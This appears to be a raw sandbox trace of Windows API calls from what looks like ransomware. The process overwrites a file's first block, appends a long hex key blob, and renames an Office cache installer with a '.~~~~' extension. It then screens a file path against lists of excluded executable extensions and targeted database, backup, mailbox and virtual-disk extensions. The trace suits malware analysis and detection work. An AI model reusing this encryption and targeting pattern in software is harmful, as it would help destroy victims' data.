	[0063.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.196] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0063.196] GetLastError () returned 0x0
	[0063.196] SetLastError (dwErrCode=0x0) 
	[0063.196] GetLastError () returned 0x0
	[0063.196] SetLastError (dwErrCode=0x0) 
	[0063.196] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0063.196] GetLastError () returned 0x0
	[0063.196] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.197] GetLastError () returned 0x0
	[0063.197] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.198] GetLastError () returned 0x0
	[0063.198] SetLastError (dwErrCode=0x0) 
	[0063.199] GetLastError () returned 0x0
	[0063.199] SetLastError (dwErrCode=0x0) 
	[0063.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
	[0063.199] ReadFile (in: hFile=0x11c, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.205] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.206] WriteFile (in: hFile=0x11c, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0063.207] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.207] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0063.210] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0063.210] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0063.210] CloseHandle (hObject=0x11c) returned 1
	[0063.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x39ec68
	[0063.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.~~~~")) returned 1
	[0063.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0063.410] GetLastError () returned 0x0
	[0063.410] SetLastError (dwErrCode=0x0) 
	[0063.410] GetLastError () returned 0x0
	[0063.410] SetLastError (dwErrCode=0x0) 
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e750 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5e0 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e698 | out: hHeap=0x300000) returned 1
	[0063.411] RtlWakeConditionVariable () returned 0x365f70
	[0063.411] GetCurrentThreadId () returned 0x9f4
	[0063.411] GetCurrentThreadId () returned 0x9f4
	[0063.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0063.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0063.411] lstrlenW (lpString=".scr") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0063.411] lstrlenW (lpString=".cmd") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0063.411] lstrlenW (lpString=".dll") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0063.411] lstrlenW (lpString=".bat") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0063.411] lstrlenW (lpString=".cpl") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0063.411] lstrlenW (lpString=".sys") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0063.411] lstrlenW (lpString=".msc") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0063.411] lstrlenW (lpString=".com") returned 4
	[0063.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0063.411] lstrlenW (lpString=".lnk") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0063.412] lstrlenW (lpString=".msp") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0063.412] lstrlenW (lpString=".pif") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0063.412] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0063.412] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0063.412] lstrlenW (lpString=".sqb") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0063.412] lstrlenW (lpString=".ost") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0063.412] lstrlenW (lpString=".txt") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0063.412] lstrlenW (lpString=".mdt") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0063.412] lstrlenW (lpString=".BDB") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0063.412] lstrlenW (lpString=".eql") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0063.412] lstrlenW (lpString=".DBF") returned 4
	[0063.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0063.412] lstrlenW (lpString=".EQL") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0063.413] lstrlenW (lpString=".FDB") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0063.413] lstrlenW (lpString=".EDB") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0063.413] lstrlenW (lpString=".DACPAC") returned 7
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0063.413] lstrlenW (lpString=".VHD") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0063.413] lstrlenW (lpString=".DBV") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0063.413] lstrlenW (lpString=".dacpac") returned 7
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0063.413] lstrlenW (lpString=".sdf") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0063.413] lstrlenW (lpString=".accdb") returned 6
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0063.413] lstrlenW (lpString=".DBX") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0063.413] lstrlenW (lpString=".MDT") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0063.413] lstrlenW (lpString=".SQB") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0063.413] lstrlenW (lpString=".vhd") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0063.413] lstrlenW (lpString=".bac") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0063.413] lstrlenW (lpString=".mdf") returned 4
	[0063.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0063.414] lstrlenW (lpString=".BAK") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0063.414] lstrlenW (lpString=".BAC") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0063.414] lstrlenW (lpString=".dbs") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0063.414] lstrlenW (lpString=".vhdx") returned 5
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0063.414] lstrlenW (lpString=".NDF") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0063.414] lstrlenW (lpString=".dat") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0063.414] lstrlenW (lpString=".DBS") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0063.414] lstrlenW (lpString=".CKP") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0063.414] lstrlenW (lpString=".edb") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0063.414] lstrlenW (lpString=".PST") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0063.414] lstrlenW (lpString=".dbf") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0063.414] lstrlenW (lpString=".SQL") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0063.414] lstrlenW (lpString=".pst") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0063.414] lstrlenW (lpString=".dbv") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0063.414] lstrlenW (lpString=".SDF") returned 4
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0063.414] lstrlenW (lpString=".dtxs") returned 5
	[0063.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0063.415] lstrlenW (lpString=".db3") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0063.415] lstrlenW (lpString=".OST") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0063.415] lstrlenW (lpString=".dbx") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0063.415] lstrlenW (lpString=".DB3") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0063.415] lstrlenW (lpString=".DAT") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0063.415] lstrlenW (lpString=".VHDX") returned 5
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0063.415] lstrlenW (lpString=".ndf") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0063.415] lstrlenW (lpString=".DB") returned 3
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0063.415] lstrlenW (lpString=".sql") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0063.415] lstrlenW (lpString=".MYD") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0063.415] lstrlenW (lpString=".DBT") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0063.415] lstrlenW (lpString=".ACCDB") returned 6
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0063.415] lstrlenW (lpString=".fdb") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0063.415] lstrlenW (lpString=".bak") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0063.415] lstrlenW (lpString=".myd") returned 4
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0063.415] lstrlenW (lpString=".DTXS") returned 5
	[0063.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0063.415] lstrlenW (lpString=".ckp") returned 4
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0063.416] lstrlenW (lpString=".dbt") returned 4
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0063.416] lstrlenW (lpString=".db") returned 3
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0063.416] lstrlenW (lpString=".TXT") returned 4
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0063.416] lstrlenW (lpString=".MDF") returned 4
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0063.416] lstrlenW (lpString=".bdb") returned 4
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0063.416] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0063.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0063.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39ec68
	[0063.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0063.416] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39d948) returned 1
	[0063.417] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0063.417] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0063.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0063.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0063.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ea520
	[0063.417] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18340742418) returned 1
	[0063.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x92f35a70, dwHighDateTime=0x1d60e1e)) 
	[0063.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0063.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0063.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0063.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0063.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0063.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0063.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0063.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0063.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.418] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0063.418] GetLastError () returned 0x0
	[0063.418] SetLastError (dwErrCode=0x0) 
	[0063.418] GetLastError () returned 0x0
	[0063.418] SetLastError (dwErrCode=0x0) 
	[0063.418] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0063.418] GetLastError () returned 0x0
	[0063.418] SetLastError (dwErrCode=0x0) 
	[0063.418] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
	[0063.419] SetLastError (dwErrCode=0x0) 
	[0063.419] GetLastError () returned 0x0
